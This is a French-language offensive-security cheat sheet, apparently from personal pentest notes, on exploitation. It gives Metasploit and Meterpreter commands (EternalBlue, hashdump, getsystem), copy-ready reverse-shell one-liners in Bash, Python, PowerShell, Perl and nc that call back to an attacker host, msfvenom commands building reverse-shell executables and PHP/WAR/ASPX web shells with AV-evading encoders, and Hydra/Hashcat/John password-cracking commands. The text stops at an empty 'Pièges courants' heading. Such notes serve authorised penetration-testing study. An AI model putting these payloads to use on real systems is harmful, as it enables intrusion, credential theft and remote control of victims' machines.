L’exploitation, c’est le moment où on transforme une vulnérabilité identifiée en exécution de code sur la cible. Mais c’est aussi l’étape la plus surévaluée par les débutants : 80% du travail réel est dans la recon et la post-exploitation. Une bonne exploitation est une exploitation préparée — bon payload, bon listener prêt, sortie attendue connue.

Le cycle de l’exploitation§

   Vulnérabilité identifiée


   ┌─────────────────────┐
   │ Préparer le payload │ ← matcher arch (x86/x64), OS, AV présent
   └──────────┬──────────┘


   ┌─────────────────────┐
   │ Préparer le listener│ ← netcat / multi-handler AVANT de tirer
   └──────────┬──────────┘


   ┌─────────────────────┐
   │ Délivrer le payload │
   └──────────┬──────────┘


   ┌─────────────────────┐
   │ Stabiliser le shell │ ← upgrade TTY, source profile
   └──────────┬──────────┘


       Post-exploitation

Erreur classique : tirer l’exploit avant d’avoir lancé le listener → shell perdu. Toujours nc -lvnp 4444 avant exploit.

Metasploit§

Le framework offensif le plus utilisé. Pas de honte à l’utiliser sur un engagement — la honte c’est de ne pas comprendre ce qu’il fait derrière.

msfconsole

search exploit_name                    # ex. search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
show options                           # lister les paramètres
set RHOSTS 192.168.1.10                # cible
set LHOST 192.168.1.100                # listener attaquant
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit                                # ou "run"
Anatomie d'un module Metasploit

exploit/windows/smb/ms17_010_eternalblue
  │       │       │   │
  │       │       │   nom du module (CVE/identifiant)
  │       │       service ciblé
  │       OS/plateforme
  type (exploit, auxiliary, post, payload)

Meterpreter — le payload couteau-suisse§

Une fois Meterpreter ouvert, on a un shell enrichi : transfert de fichiers, pivot, dump de hashes, migration de processus.

sysinfo                                # OS, arch, domaine
getuid                                 # qui je suis
getsystem                              # tenter privesc (4 techniques auto)
hashdump                               # dump SAM (nécessite SYSTEM)
upload localfile C:\Temp\f             # uploader
download C:\loot                       # télécharger
shell                                  # shell natif (cmd ou bash)
migrate <PID>                          # changer de processus hôte
ps                                     # lister processus (pour migrate)

Pourquoi migrate : le processus initial où Meterpreter est lancé peut crasher ou être tué. Migrer vers explorer.exe ou un service stable = persistance de session.

Reverse shells§

Le payload classique : la cible se connecte à l’attaquant (contourne les firewalls entrants).

Listeners§

# Netcat (simple)
nc -lvnp 4444

# Avec rlwrap pour avoir l'historique et l'édition de ligne
rlwrap nc -lvnp 4444

# Metasploit multi-handler (pour récupérer une session msfvenom)
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
run

Payloads one-liner§

À garder en favoris, classés par interpréteur disponible.

# Bash (Linux)
bash -i >& /dev/tcp/IP/4444 0>&1

# Python (Linux/macOS)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# PowerShell (Windows) — le grand classique
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"

# Perl
perl -e 'use Socket;$i="IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# nc (souvent absent ou sans -e)
mkfifo /tmp/p; cat /tmp/p | /bin/sh -i 2>&1 | nc IP 4444 > /tmp/p

Site indispensable : revshells.com — générateur web qui produit toutes les variantes avec ton IP/port.

msfvenom — générer des payloads§

Pour les cas où on doit déposer un binaire (upload de fichier sur webapp, RCE qui exécute un fichier…).

# Windows EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe

# Windows Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o m.exe

# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf

# PHP (pour upload sur webapp)
msfvenom -p php/reverse_php LHOST=IP LPORT=4444 -o shell.php

# WAR (Tomcat manager)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f war -o shell.war

# ASPX (IIS)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f aspx -o shell.aspx

Encoders (-e x86/shikata_ga_nai -i 5) : codent le payload pour échapper aux AV signature-based. Inefficaces contre les EDR modernes — voir [[AV-EDR Evasion]].

Stabiliser un shell§

Un reverse shell brut est inutilisable : pas d’autocomplétion, pas de signaux (Ctrl+C tue le shell entier), pas d’éditeur interactif. Upgrade obligatoire.

# Étape 1 : PTY via Python
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Étape 2 : Ctrl+Z pour mettre en arrière-plan

# Étape 3 : sur ta machine, passer le terminal en raw
stty raw -echo; fg

# Étape 4 : exporter les variables nécessaires
export TERM=xterm
export SHELL=/bin/bash
stty rows 50 columns 200          # adapter à ta taille de fenêtre

Après ça : autocomplétion, Ctrl+C, vim, ssh tunnels — tout fonctionne.

Brute force§

Quand on a une cible mais pas de creds, et que l’auth est exposée sans rate-limit dur.

# Hydra — web form
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

# Hydra — SSH
hydra -l user -P wordlist ssh://IP

# Hydra — FTP
hydra -L users.txt -P passwords.txt ftp://IP

# Hashcat — formats courants
hashcat -m 0 hash.txt rockyou.txt          # MD5
hashcat -m 100 hash.txt rockyou.txt        # SHA1
hashcat -m 1000 hash.txt rockyou.txt       # NTLM
hashcat -m 1800 hash.txt rockyou.txt       # $6$ (sha512crypt — /etc/shadow)
hashcat -m 13100 hash.txt rockyou.txt      # Kerberoasting (TGS-REP)
hashcat -m 18200 hash.txt rockyou.txt      # AS-REP Roasting
hashcat -m 5600 hash.txt rockyou.txt       # NetNTLMv2 (Responder)

# John
john --wordlist=rockyou.txt hash.txt
john --format=NT --wordlist=rockyou.txt hash.txt

Pièges courants§